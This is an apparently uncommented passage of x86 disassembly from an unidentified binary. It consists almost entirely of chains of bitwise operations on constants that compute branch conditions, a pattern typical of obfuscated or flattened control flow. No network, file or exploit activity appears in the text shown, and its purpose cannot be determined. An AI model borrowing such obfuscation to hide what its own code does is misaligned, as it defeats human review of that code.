and ecx, 0xdc60abe2
not edi
mov ebx, edx
xor edx, 0x3223453e
and edi, 0x239f541d
xor ebx, 0x9c0840
or ecx, edi
mov edi, edx
and ebx, 0x9f497c
mov eax, ecx
xor ecx, 0x239f541d
and edi, 0xff60b683
xor eax, 0x960
or edx, ecx
and ecx, 0xff60b683
or ebx, edi
mov edi, dword [0x4d0db8]
and eax, 0x9f497c
not edx
or eax, ecx
mov ecx, esi
xor eax, ebx
not ecx
or edx, eax
mov eax, edx
and edx, 0xc24e2c34
not eax
and eax, 0x3db1d3cb
or edx, eax
mov eax, edx
xor edx, 0x3db1d3cb
xor eax, 0xc24e2c34
and eax, esi
or esi, edx
and edx, ecx
mov ecx, dword [esp]
not esi
or edx, eax
mov eax, esi
and eax, edx
xor edx, esi
and ecx, 0x7842c822
or edx, eax
mov eax, ecx
and eax, ebp
xor ebp, ecx
mov ecx, edx
or ebp, eax
or ecx, 0x8a6a6002
mov eax, ebp
and ebp, 0x18fd8ecd
mov esi, ecx
and ecx, 0x382a92ca
not eax
not esi
and eax, 0xe7027132
and esi, 0x45950d35
or ebp, eax
mov eax, edx
or esi, ecx
and edx, 0x62f761ea
not eax
mov ebx, eax
and eax, 0x9d089e15
or ebx, 0x75959ffd
or edx, eax
mov ecx, ebx
and ebx, 0x382a92ca
mov eax, edx
xor edx, 0x9d089e15
not ecx
xor eax, 0x62f761ea
and ecx, 0x82406000
or ecx, ebx
mov ebx, ebp
xor ebp, 0x8a402000
xor ebx, 0x609506ed
xor ecx, esi
or ebp, 0x75959ffd
or ebx, 0x8a6a6002
mov esi, ebx
and ebx, 0xaf81d455
not esi
and esi, 0x50140ba8
or esi, ebx
mov ebx, ebp
and ebp, 0xaf81d455
not ebx
and ebx, 0x6a2002
or ebx, ebp
xor ebx, esi
mov esi, ecx
not esi
and esi, ebx
not ebx
and ebx, ecx
or ebx, esi
mov esi, 0x5e042e06
and edx, ebx
not ebx
and eax, ebx
or edx, eax
not edx
or edx, ebx
cmp edx, 0xffffffff
setne ch
sete cl
cmp edi, 0xa
setl ah
cmp edi, 9
mov dh, cl
mov byte [esp + 4], ch
setg bh
xor dh, ch
mov byte [esp + 0x10], ah
mov al, dh
mov byte [esp + 0xc], bh
xor al, 1
and dh, al
mov byte [esp], al
mov dl, dh
xor dh, al
and dl, al
or dh, dl
mov dl, ch
and cl, dh
xor dh, 1
or dl, al
and dh, ch
xor dl, 1
or dh, cl
mov cl, ch
xor cl, al
or dl, cl
mov byte [esp + 8], cl
mov ch, dl
xor ch, dh
xor dh, 1
or dh, dl
xor ch, 1
xor dh, 1
or dh, ch
mov ch, bh
xor ch, ah
mov al, dh
mov dh, ch
mov cl, al
mov byte [esp + 0x18], al
xor dh, 1
xor cl, 1
mov dl, dh
mov byte [esp + 0x1c], cl
and dl, ch
mov bl, dl
xor dl, dh
and bl, dh
or dl, bl
mov dh, dl
xor dl, 1
and dh, ah
and dl, bh
or dl, dh
mov dh, ah
and dh, ch
xor ch, ah
mov ah, al
or ch, dh
mov dh, ch
xor dh, dl
xor dl, 1
or dl, ch
xor dh, 1
xor dl, 1
or dl, dh
mov ch, dl
xor ch, 1
mov dh, ch
and dh, dl
xor ch, dh
xor dh, 1
or dh, dl
xor dh, 1
or dh, ch
mov bl, dh
xor bl, 1
or bl, dh
xor bl, 1
xor dl, bl
mov ch, dl
xor ch, 1
and ch, bl
mov ebx, eax
mov dh, ch
xor ch, dl
xor bl, cl
and dh, dl
and bl, al
or ch, dh
mov dh, al
or dh, cl
mov dl, dh
mov bh, dh
mov dh, bl
xor dh, 1
mov ah, bh
mov byte [esp + 0x14], bh
xor dl, 1
or bh, dh
and dh, dl
and bl, ah
xor bh, 1
or dh, bl
mov dl, bh
and dl, dh
xor dh, bh
or dh, dl
mov dl, al
and dl, cl
xor dh, 1
mov ah, dl
xor cl, dl
mov byte [esp + 0x20], dl
xor ah, 1
mov byte [esp + 0x28], cl
or ah, al
mov al, byte [esp]
xor ah, 1
or ah, cl
mov cl, ch
xor ah, dh
and al, byte [esp + 4]
xor ah, 1
xor dh, ah
xor ah, dh
and ah, dh
or al, byte [esp + 8]
mov byte [esp + 0x34], ah
mov byte [esp], al
mov al, ch
xor al, 1
and cl, al
mov bh, cl
and cl, ch
mov ch, al
xor bh, 1
xor ch, bh
and bh, al
and ch, al
or bh, cl
xor ch, 1
xor bh, 1
mov al, ch
xor al, bh
or bh, ch
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
mov al, cl
or al, bh
and bh, cl
mov ch, al
xor bh, 1
xor ch, 1
mov dh, ch
and dh, al
mov bl, dh
xor dh, ch
mov ch, bh
or bh, cl
xor bl, 1
xor ch, cl
xor bh, 1
or bl, al
or bh, ch
mov ch, al
xor al, cl
xor bl, 1
and ch, cl
or bl, dh
or al, ch
mov dh, ah
xor bh, bl
mov ecx, eax
xor cl, bh
xor bh, 1
or bh, al
mov al, ah
xor cl, 1
xor bh, 1
xor al, 1
or bh, cl
and dh, al
mov ecx, eax
mov ch, al
and cl, dh
xor ch, dh
or ch, cl
mov ah, ch
mov cl, ch
xor ah, 1
and cl, ah
or ah, ch
mov dl, cl
xor cl, ch
and dl, ch
or cl, dl
xor cl, 1
mov dl, cl
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov bl, ah
mov ah, byte [esp]
mov byte [esp + 0x2c], bl
mov ch, ah
xor ch, 1
mov cl, ch
mov dl, ch
or ch, ah
and cl, ah
xor dl, cl
xor cl, 1
or cl, ah
xor ah, ch
xor cl, 1
and ah, ch
xor ch, 1
or cl, dl
mov byte [esp], ah
xor cl, 1
mov dl, cl
and dl, ch
xor ch, cl
or ch, dl
mov byte [esp + 8], ch
mov ch, bl
xor ch, 1
mov cl, ch
mov ah, ch
and cl, bl
mov dl, cl
xor ah, cl
mov byte [esp + 4], cl
xor dl, 1
or dl, bl
mov bl, ah
xor dl, 1
or dl, ah
mov ah, dl
mov cl, dl
xor ah, 1
and ah, dl
xor ah, 1
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor ah, dl
and cl, dl
mov dl, byte [esp + 0x34]
or ah, cl
xor ah, 1
mov cl, dl
xor cl, dh
xor dh, 1
or dh, al
or al, dl
xor dh, 1
xor al, 1
or dh, cl
xor dh, 1
mov cl, dh
and cl, al
xor al, dh
or al, cl
mov cl, al
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov dl, byte [esp + 4]
and dl, ch
mov ch, byte [esp + 8]
or dl, bl
mov bl, byte [esp]
mov dh, dl
mov byte [esp + 4], dl
xor dh, 1
mov cl, ch
xor cl, 1
and dh, cl
mov byte [esp + 0x34], dh
mov dh, cl
and cl, ch
xor dh, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov dl, dh
xor dh, cl
and dl, cl
mov ecx, eax
or dh, dl
mov dl, ah
xor cl, 1
or dl, al
xor al, ah
or cl, ah
xor dl, 1
or dl, al
and al, ah
mov ah, cl
xor ah, al
xor al, 1
or al, cl
xor ah, 1
mov ecx, edx
xor al, 1
xor cl, 1
or al, ah
mov ch, cl
mov ah, al
xor ah, dl
and dl, cl
xor dl, 1
xor ah, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor dl, al
or al, cl
xor al, 1
xor dl, 1
or al, ah
mov ecx, edx
xor al, 1
and cl, al
xor al, dl
mov dl, bl
or al, cl
mov cl, dh
xor dl, 1
xor cl, 1
mov ah, dl
mov ch, cl
or dl, cl
and ah, dh
and ch, bl
xor bl, cl
and bl, cl
mov cl, dl
or ch, ah
xor cl, bl
xor bl, 1
xor dh, ch
or bl, dl
xor cl, 1
and dh, ch
mov dl, al
xor bl, 1
xor dl, 1
or bl, cl
and al, dl
xor bl, dh
xor bl, 1
and dh, bl
xor dh, 1
mov cl, dh
or dh, bl
xor cl, bl
xor dh, 1
or dh, cl
mov ecx, edx
and cl, al
xor al, dl
mov ah, dh
or al, cl
mov ecx, edx
xor dl, dh
xor ah, 1
and cl, dh
and dh, al
xor al, 1
and al, ah
or dl, cl
or al, dh
mov ecx, edx
xor al, 1
xor cl, 1
or al, ah
mov ah, cl
and ah, dl
xor ah, 1
mov ch, ah
or ah, dl
xor ch, dl
xor dl, al
xor al, 1
xor ah, 1
or cl, al
or ah, ch
xor cl, 1
xor ah, al
or cl, dl
mov al, ah
mov dl, byte [esp + 0x2c]
xor cl, 1
and al, cl
xor cl, ah
mov ah, byte [esp + 8]
or cl, al
mov al, dl
or dl, ah
xor al, ah
mov ch, ah
mov ah, byte [esp + 4]
xor dl, 1
or dl, al
and ah, ch
or ah, byte [esp + 0x34]
mov al, ah
and ah, dl
xor dl, 1
mov ch, ah
xor al, 1
mov ah, dl
xor ah, al
and al, dl
and ah, dl
or al, ch
mov dl, ah
and dl, al
xor al, ah
or al, dl
mov edx, eax
xor dl, 1
mov ah, dl
mov ch, dl
and ah, al
and ch, ah
xor ah, dl
or dl, al
or ah, ch
mov ch, dl
mov al, ah
xor ch, 1
xor al, 1
and ch, al
or al, dl
and dl, ah
xor al, 1
or dl, ch
mov ah, al
and ah, dl
xor dl, al
or dl, ah
mov eax, edx
mov ah, dl
xor al, 1
and al, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ch, al
xor ch, 1
and ch, al
mov dl, ch
xor ch, al
and dl, al
or ch, dl
mov al, ch
mov dl, ch
mov ah, ch
xor al, 1
and dl, al
and ah, dl
xor dl, ch
xor ch, al
and ch, al
mov al, cl
or dl, ah
xor al, 1
mov byte [esp], al
or al, cl
mov dh, al
xor dh, 1
mov bl, dh
and bl, al
xor al, byte [esp]
mov ah, bl
xor bl, dh
and ah, dh
or dh, cl
or bl, ah
xor dh, 1
mov ah, ch
or dh, al
xor bl, cl
xor ah, 1
xor dh, 1
mov al, bl
or ah, ch
and al, dh
xor dh, bl
xor ah, 1
mov bl, byte [esp]
or dh, al
mov al, ch
and al, ah
xor ah, ch
or ah, al
mov al, ah
xor al, 1
and al, ah
mov ch, al
xor al, ah
and ch, ah
mov ah, dh
or al, ch
xor ah, 1
mov ch, dl
and ah, al
xor al, 1
and al, dh
or al, ah
mov ah, dl
or dl, bl
xor ah, 1
xor dl, 1
and ch, ah
xor ch, 1
mov dh, ch
or ch, ah
xor dh, ah
xor ch, 1
xor ah, cl
or ch, dh
or dl, ah
mov dh, ch
xor ch, 1
xor dl, 1
and dh, cl
and ch, bl
or ch, dh
mov cl, ch
and cl, dl
xor dl, ch
mov ch, al
or dl, cl
mov cl, al
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
xor ch, ah
or ah, al
mov al, dl
xor ah, 1
xor al, 1
or ah, ch
and al, dl
mov ch, dl
and ch, al
xor al, dl
or al, ch
mov ch, ah
xor ch, 1
and ch, al
xor al, 1
and al, ah
mov ah, cl
xor cl, dl
or al, ch
and ah, dl
xor al, 1
or cl, ah
mov ah, bh
mov edx, eax
or al, cl
xor dl, cl
mov cl, bh
xor al, 1
xor cl, 1
or al, dl
or ah, cl
mov ch, ah
mov dl, ah
mov dh, ah
xor ch, 1
and dl, ch
or ch, cl
and dh, dl
xor dl, ah
xor ah, bh
xor ch, 1
or dl, dh
or ch, ah
mov dh, dl
xor dl, 1
mov ah, ch
and dl, bh
and dh, cl
and bh, cl
or dl, dh
xor ah, dl
xor dl, 1
or dl, ch
xor ah, 1
mov ch, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov dh, ah
and dh, dl
xor ah, dh
xor dh, 1
or dh, dl
mov dl, al
xor dh, 1
or dh, ah
mov ah, al
xor ah, 1
and ch, ah
mov bl, ch
xor dl, ch
xor bl, 1
or bl, ah
xor bl, 1
or bl, dl
mov dl, ah
or dl, dh
xor dh, 1
xor bl, dh
xor dh, al
xor dl, 1
or dl, dh
mov dh, bl
xor dl, 1
and dh, dl
xor dl, bl
or dl, dh
mov dh, ah
and dh, ch
xor ch, ah
or ah, al
or ch, dh
mov al, ah
mov dh, ch
xor al, 1
and ah, ch
xor dh, 1
and dh, al
or dh, ah
mov ah, ch
xor ah, al
or al, ch
mov ch, byte [esp + 0x14]
xor al, 1
or al, ah
mov ah, dh
xor al, 1
and ah, al
xor al, dh
mov dh, byte [esp + 0x1c]
or al, ah
mov ah, cl
and ah, bh
xor bh, cl
mov cl, al
or bh, ah
xor cl, 1
mov ah, bh
and bh, al
xor ah, 1
and cl, ah
or ah, al
xor ah, 1
or bh, cl
mov cl, dl
mov al, ah
and al, bh
xor bh, ah
mov ah, dl
or bh, al
mov al, dl
xor ah, 1
and al, bh
xor cl, bh
or cl, al
mov al, bh
xor bh, ah
xor al, 1
xor bh, 1
xor dl, al
and bh, ah
mov ah, byte [esp + 0x20]
xor dl, 1
and dl, al
mov al, dl
and al, bh
xor bh, dl
mov dl, cl
and dh, ah
or bh, al
xor dl, 1
or dh, byte [esp + 0x28]
mov al, bh
and bh, cl
xor al, 1
or cl, al
and al, dl
or al, bh
mov dl, cl
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov dl, byte [esp + 0x10]
mov byte [esp], al
mov al, byte [esp + 0xc]
xor dh, al
mov cl, dh
or dh, al
mov al, byte [esp + 0x18]
xor cl, dl
xor dh, 1
xor cl, 1
or dh, cl
mov cl, al
xor dh, 1
and cl, ah
xor ah, al
or ah, cl
mov cl, al
xor ah, ch
and cl, ch
xor ch, al
mov al, dl
or ch, cl
mov cl, ah
xor ch, 1
and cl, ch
xor ch, ah
or ch, cl
xor ch, 1
mov cl, ch
xor ch, dl
not ch
or cl, dl
and ch, dl
mov dl, cl
xor dl, ch
xor ch, 1
or ch, cl
xor dl, 1
xor ch, 1
or ch, dl
mov dl, dh
mov cl, ch
xor cl, 1
and ch, cl
xor ch, 1
mov ah, ch
or ch, cl
xor ah, cl
xor ch, 1
or ch, ah
mov ah, dh
xor ah, cl
xor ch, dh
xor dl, ah
mov cl, ch
xor dl, 1
xor cl, 1
and dl, ah
mov ah, dl
xor ah, 1
and ch, ah
or ah, cl
and cl, dl
xor ah, 1
or cl, ch
mov dl, ah
and dl, cl
xor cl, ah
or cl, dl
mov edx, ecx
mov ch, cl
xor dl, 1
mov ah, dl
or ah, cl
or ch, ah
xor ah, dl
and dl, cl
xor ah, 1
xor ch, 1
xor cl, dl
or ch, ah
and cl, dl
mov ah, ch
mov dh, ch
mov dl, cl
xor ah, 1
xor dl, 1
and ah, ch
xor ah, 1
xor dh, ah
or ah, ch
mov ch, cl
xor ah, 1
or ch, dl
or ah, dh
mov dh, ah
mov bl, ah
xor dh, 1
or bl, dh
mov bh, bl
or bl, ah
xor bh, dh
mov al, bl
or bl, bh
xor al, bh
mov bh, dl
xor bl, 1
or bl, al
mov al, dl
and al, cl
xor bh, al
xor al, 1
or al, cl
or cl, dh
mov dh, byte [esp]
xor al, 1
xor cl, 1
or al, bh
mov bh, ch
xor al, ch
and bh, dl
xor ch, dl
xor dl, ah
mov ah, cl
or ch, bh
mov bh, al
and ah, dl
xor dl, cl
xor ch, 1
or dl, ah
and bh, ch
xor ch, al
xor dl, 1
or ch, bh
xor ch, bl
mov al, ch
xor al, 1
and al, ch
mov cl, al
xor al, ch
and cl, ch
or al, cl
mov cl, ch
xor al, dl
xor cl, dl
or dl, ch
mov ch, dh
xor dl, 1
xor al, 1
or dl, cl
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
mov cl, dl
xor al, 1
or al, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, al
mov dl, al
xor cl, 1
or cl, al
xor cl, 1
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov dl, al
and dl, cl
xor cl, al
or cl, dl
mov ah, cl
mov al, cl
xor ah, 1
or ah, cl
xor ah, 1
and al, ah
xor ah, cl
or ah, al
mov al, ah
xor al, 1
and ah, al
mov cl, ah
xor ah, al
and cl, al
or ah, cl
mov al, ah
xor al, 1
and ah, al
mov cl, al
and cl, ah
xor ah, al
or ah, cl
mov dl, ah
mov cl, ah
mov al, ah
xor dl, 1
and cl, dl
xor ch, dl
and al, cl
xor cl, ah
mov ah, dl
or dl, dh
or cl, al
and ah, dh
xor dl, 1
mov al, cl
xor cl, 1
or dl, ch
or ah, ch
and al, dh
xor dh, 1
and cl, dh
or cl, al
mov al, dl
xor al, 1
xor dh, cl
and al, ah
xor ah, 1
xor cl, dh
mov ch, ah
xor cl, 1
xor ch, dl
and dl, ah
and cl, dh
and ch, ah
or dl, al
mov al, ch
and al, dl
xor dl, ch
or dl, al
mov ah, dl
xor ah, 1
or ah, cl
xor cl, 1
mov al, cl
xor ah, 1
xor al, dl
xor al, 1
or al, cl
or cl, dl
mov dl, ah
mov ch, al
xor cl, 1
xor ch, 1
and dl, cl
xor cl, ah
and al, ch
mov ah, ch
or cl, dl
xor al, 1
mov edx, ecx
xor ah, al
or al, ch
xor dl, 1
xor al, 1
or al, ah
mov ah, al
and al, cl
xor ah, 1
and ah, dl
mov dl, ch
xor dl, cl
or cl, ch
or al, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x703e6e86
cmovne ecx, esi
test al, 1
mov eax, 0x703e6e86
cmove ecx, esi
test dl, 1
jmp 0x44b18f
mov eax, dword [esp + 0x148]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [0x4d0db4]
cmp dword [eax], 0
lea esi, [ecx - 1]
setne byte [esp + 0xeb]
imul esi, ecx
mov eax, esi
mov ebx, esi
mov edi, esi
mov dword [esp], esi
not eax
and ebx, 0x741d2455
and edi, 0xde026618
mov edx, eax
mov dword [esp + 4], eax
and edx, 0x8be2dbaa
or ebx, edx
mov edx, ebx
and ebx, 0x1bdc1fb
not edx
and edx, 0xfe423e04
or ebx, edx
mov edx, eax
and edx, 0x21fd99e7
mov esi, ebx
xor ebx, 0x512040a4
or edi, edx
xor esi, 0x8a5f1a51
and ebx, 0xdb374ae5
mov edx, edi
xor edi, 0x21fd99e7
xor edx, 0xde026618
or edi, edx
mov edx, esi
and esi, 0xa574f0ec
and edx, 0x24c8b51a
mov ebp, edi
or edx, ebx
xor ebp, 0xa574f0ec
xor edx, 0x24c8b51a
and ebp, edi
mov ebx, edx
mov ecx, edx
xor edx, edi
and ebx, 0x5a8b0f13
and ecx, edi
or esi, ebx
mov ebx, ebp
and ebp, 0x75e0d7a2
or edx, ecx
not ebx
mov eax, ebx
and eax, 0x8a1f285d
or ebp, eax
mov eax, edi
or eax, 0x5a8b0f13
mov edi, eax
or ebx, eax
and eax, 0x8a1f285d
not edi
not ebx
and edi, 0x2560d0a0
or edi, eax
mov eax, esi
xor edi, ebp
not eax
or ebx, edi
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
mov eax, edx
and edx, 0x8009ce75
not eax
and eax, 0x7ff6318a
or edx, eax
mov eax, ebx
xor edx, 0x8009ce75
and eax, edx
xor edx, ebx
mov ebx, dword [esp]
or edx, eax
mov eax, edx
and edx, 0x12b2968d
not eax
and eax, 0xed4d6972
or eax, edx
mov esi, eax
xor eax, 0x64016170
xor esi, 0x908600
and eax, 0x762371fd
and esi, 0x89dc8e02
or esi, eax
mov eax, esi
xor esi, 0x89dc8e02
mov ecx, esi
xor eax, 0x240231dc
or esi, 0xe959eb07
and ecx, 0xdae5ce23
and eax, 0x251a31dc
mov edx, esi
and esi, 0x8d31093c
or eax, ecx
not edx
mov ecx, eax
xor eax, 0x88010800
and edx, 0x128614c0
xor ecx, 0x20082000
or eax, 0x4200038
or edx, esi
and eax, 0x8d31093c
and ecx, 0x6048e203
or ecx, eax
xor edx, ecx
mov ecx, dword [esp + 4]
mov eax, edx
and edx, 0xe959eb07
not eax
and eax, 0x16a614f8
or edx, eax
mov eax, edx
and edx, 0x774af6dd
not eax
and eax, 0x88b50922
or edx, eax
mov eax, edx
xor edx, 0x8250002
xor eax, 0x730ac4c5
and edx, 0xc65321a
and eax, 0xf39acde5
or eax, edx
mov edx, eax
xor eax, 0x3192cce1
xor edx, 0x41200a
and eax, 0x3db6def1
and edx, 0xc249210e
or edx, eax
mov eax, ecx
and ecx, ebx
and ebx, 0xf9c2af33
and eax, 0x63d50cc
mov esi, edx
xor edx, 0x3db6def1
or ebx, eax
xor esi, 0xc249210e
xor ebx, 0xf9c2af33
mov eax, ebx
xor ebx, ecx
and eax, ecx
or ebx, eax
mov ecx, ebx
mov edi, ebx
mov ebp, ebx
not ecx
and edi, 0xb323fda6
and ebp, 0xa9a70b97
mov eax, ecx
mov ebx, ecx
and eax, 0x4cdc0259
and ebx, 0x5658f468
or edi, eax
or ebp, ebx
mov eax, edi
xor edi, 0x4cdc0259
xor eax, 0xa1230986
or ecx, edi
and edi, 0x5658f468
and eax, 0xa9a70b97
not ecx
or eax, edi
xor eax, ebp
or ecx, eax
mov eax, ecx
and ecx, 0x7cb651fa
not eax
and eax, 0x8349ae05
or eax, ecx
mov ecx, eax
xor eax, 0x8349ae05
xor ecx, 0x7cb651fa
mov ebx, eax
mov ebp, eax
and eax, 0x984b313c
mov edi, ecx
and ecx, 0x67b4cec3
and ebx, 0xf666759d
or ebp, esi
and edi, 0x9998a62
or ecx, eax
mov eax, edx
not ebp
or edi, ebx
xor ecx, esi
and eax, 0x78746a87
mov ebx, edi
xor ecx, 0x984b313c
xor edi, 0x70646085
xor ebx, 0x1898060
and ecx, esi
and esi, 0x878b9578
and edi, 0x78746a87
and ebx, 0x878b9578
or esi, eax
mov eax, ebp
or ebx, edi
and eax, ecx
xor ecx, ebp
xor ebx, esi
or ecx, eax
xor edx, ebx
and edx, ebx
mov eax, edx
mov esi, edx
not eax
and eax, ecx
not ecx
xor esi, ecx
and ecx, edx
and esi, edx
or ecx, eax
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
mov edx, ecx
mov dword [esp], ecx
not eax
or edx, 0xa1c09c75
mov ebx, eax
mov edi, edx
mov esi, eax
mov dword [esp + 0xc], eax
and edx, 0xa1331eb1
or ebx, 0x5e3f638a
not edi
mov eax, ebx
and edi, 0x5e0c610a
and ebx, 0xa1331eb1
not eax
or edi, edx
and eax, 0xc08044
or eax, ebx
xor eax, edi
mov edi, ecx
mov edx, eax
and eax, 0x4b02236a
and edi, 0xe00415d9
not edx
and edx, 0xb4fddc95
or eax, edx
mov edx, eax
xor eax, 0x48029118
xor edx, 0x5394080
and eax, 0x58069178
and edx, 0xa7f96e87
or edx, eax
mov eax, esi
and eax, 0x1ffbea26
mov ebx, edx
xor edx, 0x4a99778
or edi, eax
xor ebx, 0xa7f96e87
mov eax, edi
xor edi, 0x1ffbea26
and edx, ebx
mov ecx, ebx
xor eax, 0xe00415d9
mov ebp, edx
and edx, 0x81ca8954
or edi, eax
not ebp
mov eax, edi
and edi, 0xe91263fe
not eax
and eax, 0x16ed9c01
or edi, eax
mov eax, ebp
and eax, 0x7e3576ab
mov esi, edi
or edx, eax
mov eax, ebx
xor esi, 0x16ed9c01
or eax, 0x5caf0600
and ecx, esi
xor esi, ebx
mov ebx, eax
or ebp, eax
and eax, 0x7e3576ab
or esi, ecx
not ebx
not ebp
not esi
and ebx, 0x81408954
or ebx, eax
mov eax, edi
xor edi, 0xb5bd65fe
xor eax, 0xe91263fe
xor ebx, edx
and edi, eax
or eax, 0xa350f9ff
or ebp, ebx
mov edx, eax
mov ebx, eax
not edx
and ebx, 0x4e232ff0
and edx, 0x108c0000
or edx, ebx
mov ebx, edi
and edi, 0xb1dcd00f
not ebx
or eax, ebx
and ebx, 0x4e232ff0
or edi, ebx
not eax
xor edi, edx
mov edx, ebp
or eax, edi
not edx
and edx, eax
not eax
and eax, ebp
or eax, edx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
mov dword [esp + 4], esi
not eax
mov ecx, eax
mov edx, eax
mov dword [esp + 8], eax
mov eax, esi
and ecx, 0x10c47d2
and eax, 0x62503028
or eax, ecx
mov ecx, eax
xor eax, 0x9dafcfd7
xor ecx, 0x40102028
mov edi, eax
and edi, 0xbe411911
and ecx, 0x411c66ea
or ecx, edi
mov edi, esi
xor edi, 0x635c77fa
and edi, esi
mov ebx, edi
and edi, 0x41bee6ee
not ebx
or eax, ebx
and ebx, 0xbe411911
or edi, ebx
not eax
xor edi, ecx
or eax, edi
mov edi, esi
mov esi, dword [esp + 0xc]
mov ecx, eax
and eax, 0xb6379f3b
and edi, 0xa60e45f9
not ecx
and ecx, 0x49c860c4
or eax, ecx
mov ecx, edx
mov edx, dword [esp]
and ecx, 0x59f1ba06
or edi, ecx
mov ecx, edi
xor edi, 0x59f1ba06
and edi, eax
xor ecx, 0xa60e45f9
not eax
mov ebx, edx
and ecx, eax
and ebx, 0x2a94173e
or edi, ecx
mov ecx, edx
not edi
and ecx, 0x5068e841
or edi, eax
mov eax, esi
and eax, 0x85030080
or ecx, eax
xor ecx, 0x5068e841
or ebx, ecx
mov eax, ebx
mov ecx, ebx
or ebx, edx
not eax
and ecx, 0xb10357cd
not ebx
and eax, 0x4efca832
or eax, ecx
mov ecx, edx
and ecx, 0xb10357cd
mov edx, ecx
mov ecx, esi
mov esi, edi
and ecx, 0x4efca832
not esi
or ecx, edx
mov dword [esp], esi
and esi, 0x3f659c32
xor ecx, eax
or ebx, ecx
mov ecx, edi
mov eax, ebx
and ebx, 0x6de6cb27
and ecx, 0xc09a63cd
not eax
or ecx, esi
mov esi, dword [esp]
and eax, 0x921934d8
or ebx, eax
mov edx, ebx
xor ebx, 0x921934d8
xor edx, 0x6de6cb27
mov eax, ebx
and ebx, 0x1143f6e4
mov ebp, edx
and eax, 0x4939563c
and edx, 0xeebc091b
and ebp, 0xb6c6a9c3
or edx, ebx
or ebp, eax
mov eax, ebp
xor ebp, 0x4939563c
xor eax, 0x808221c1
or esi, ebp
and ebp, 0x3f659c32
and eax, 0xc09a63cd
not esi
or eax, ebp
xor eax, ecx
mov ecx, dword [esp]
or esi, eax
mov eax, esi
and esi, 0x6fd675b4
not eax
and eax, 0x90298a4b
or esi, eax
mov eax, edi
xor edi, 0xeebc091b
and edi, ecx
and eax, 0x1040c6e0
and ecx, 0x1033004
mov ebx, esi
xor esi, 0x90298a4b
or ecx, eax
xor ebx, 0x49066590
xor ecx, 0x1033004
and ebx, 0x490f679a
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, esi
or esi, 0xc6c54e3
and eax, 0xb6f09865
mov dword [esp], edx
or ebx, eax
mov eax, dword [esp]
mov edi, ebx
mov ebp, ebx
xor ebx, 0xb6f09865
xor edi, 0x490f679a
xor ebp, 0xba9ccc86
and ebp, edi
and edi, 0xb7f61050
mov edx, ebp
and ebp, 0xb9f4c3aa
not edx
mov ecx, edx
or edx, esi
and ecx, 0x460b3c55
not edx
or ebp, ecx
mov ecx, esi
and esi, 0x460b3c55
not ecx
and ecx, 0xb1908308
or ecx, esi
xor ecx, ebp
mov ebp, eax
or ebp, 0xf393ab1c
or edx, ecx
mov ecx, ebp
mov esi, ebp
not ecx
and esi, 0xdb12b9ac
and ecx, 0x46c4443
or ecx, esi
mov esi, eax
xor esi, 0xc6c54e3
and esi, eax
mov eax, esi
and esi, 0x24ed4653
not eax
or ebp, eax
and eax, 0xdb12b9ac
or esi, eax
mov eax, edx
not ebp
and edx, 0x8340671a
xor esi, ecx
not eax
mov ecx, dword [esp]
and eax, 0x7cbf98e5
or ebp, esi
or edx, eax
mov eax, ebp
and ebp, 0x8340671a
not eax
and eax, 0x7cbf98e5
or ebp, eax
mov eax, ebx
or ebx, ecx
and eax, 0x4809efaf
xor ebp, edx
not ebx
or edi, eax
mov eax, ecx
and ecx, 0x4809efaf
mov esi, ebp
and ebp, 0x95106b72
not eax
not esi
and eax, 0xb7f61050
or eax, ecx
mov ecx, esi
xor eax, edi
and ecx, 0x6aef948d
or ebx, eax
or ebp, ecx
mov eax, ebx
or esi, ebx
and ebx, 0x6aef948d
not eax
not esi
and eax, 0x95106b72
or eax, ebx
xor eax, ebp
or esi, eax
mov ecx, esi
mov eax, esi
and esi, 0x36603477
not ecx
or eax, 0x5ac080a1
mov edx, ecx
mov edi, ecx
and eax, 0x7fc092e1
and edx, 0xc99fcb88
and edi, 0x3481a
or esi, edx
or edi, eax
xor esi, 0x1cf42348
or esi, ecx
or ecx, 0x25035a5a
mov edx, ecx
and ecx, 0x7fc092e1
mov ebx, esi
not edx
and ebx, 0x75075592
and edx, 0x803c2504
or edx, ecx
xor edx, edi
mov eax, edx
and edx, 0x12418ade
not eax
and eax, 0xedbe7521
or edx, eax
mov eax, edx
xor edx, 0x4001053a
xor eax, 0x26020084
and edx, 0x5141d53a
and eax, 0xaebe2ac5
or eax, edx
mov edx, esi
xor esi, 0x5c349f62
mov ecx, eax
xor eax, 0x153a
not edx
xor ecx, 0x842a28c0
and eax, 0x2a94173f
and esi, edx
and ecx, 0xd56be8c0
or eax, ecx
mov ecx, eax
xor ecx, 0xd56be8c0
and ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0xa3cb609d
and edi, 0xee9732ef
and eax, ecx
not ecx
and ecx, 0x1168cd10
or edi, ecx
mov ecx, edx
mov edx, edi
and ecx, 0x8af8aa6d
xor edi, 0xb2a3ad8d
xor edx, 0xee9732ef
or ecx, ebx
and edi, edx
xor ecx, 0x8af8aa6d
mov ebx, edi
and ebx, eax
xor eax, edi
mov edi, ecx
and edi, 0xa3cb609d
or eax, ebx
mov ebx, edi
and ebx, esi
xor esi, edi
mov edi, eax
and eax, 0xe092a962
not edi
or esi, ebx
mov ebx, dword [esp + 8]
